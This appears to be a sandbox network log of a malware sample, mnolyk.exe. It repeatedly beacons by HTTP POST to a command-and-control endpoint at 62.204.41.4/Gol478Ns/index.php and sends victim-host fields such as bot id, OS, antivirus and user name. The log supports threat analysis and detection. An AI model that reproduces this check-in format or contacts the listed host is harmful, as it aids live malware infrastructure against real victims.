Feb 7, 2023 23:09:52.732683897 CET	752	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:52.796153069 CET	752	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
638	192.168.2.7	50333	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:52.974040031 CET	753	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:53.042773962 CET	753	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
639	192.168.2.7	50334	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:53.217370987 CET	754	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:53.283672094 CET	754	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.7	49759	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:17.049971104 CET	179	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:17.114705086 CET	179	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
640	192.168.2.7	50335	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:53.466996908 CET	755	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:53.531603098 CET	755	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
641	192.168.2.7	50336	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:53.715950966 CET	756	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:53.781323910 CET	756	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
642	192.168.2.7	50337	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:53.984194994 CET	757	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:54.047347069 CET	757	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
643	192.168.2.7	50338	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:54.241583109 CET	758	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:54.304981947 CET	758	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
644	192.168.2.7	50339	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:54.482136011 CET	759	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:54.546360970 CET	759	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
645	192.168.2.7	50340	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:54.719054937 CET	760	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:54.782201052 CET	760	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
646	192.168.2.7	50341	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:54.975800037 CET	761	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:55.040937901 CET	761	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
647	192.168.2.7	50342	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:55.215790033 CET	762	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:55.279063940 CET	762	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
648	192.168.2.7	50343	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:55.462029934 CET	763	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:55.527674913 CET	763	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
649	192.168.2.7	50344	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:55.700525045 CET	764	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:55.764200926 CET	764	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.7	49760	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:17.283371925 CET	180	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:17.347282887 CET	180	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
650	192.168.2.7	50345	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:55.938391924 CET	765	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:56.002156019 CET	765	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
651	192.168.2.7	50346	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:56.168423891 CET	766	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:56.234231949 CET	766	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
652	192.168.2.7	50347	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:56.442075968 CET	767	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:56.517404079 CET	767	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
653	192.168.2.7	50348	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:56.686064959 CET	768	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:56.750740051 CET	768	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
654	192.168.2.7	50349	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:56.920228004 CET	769	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:56.984253883 CET	769	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
655	192.168.2.7	50350	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:57.159010887 CET	770	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:57.224802971 CET	770	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
656	192.168.2.7	50351	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:57.406627893 CET	771	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
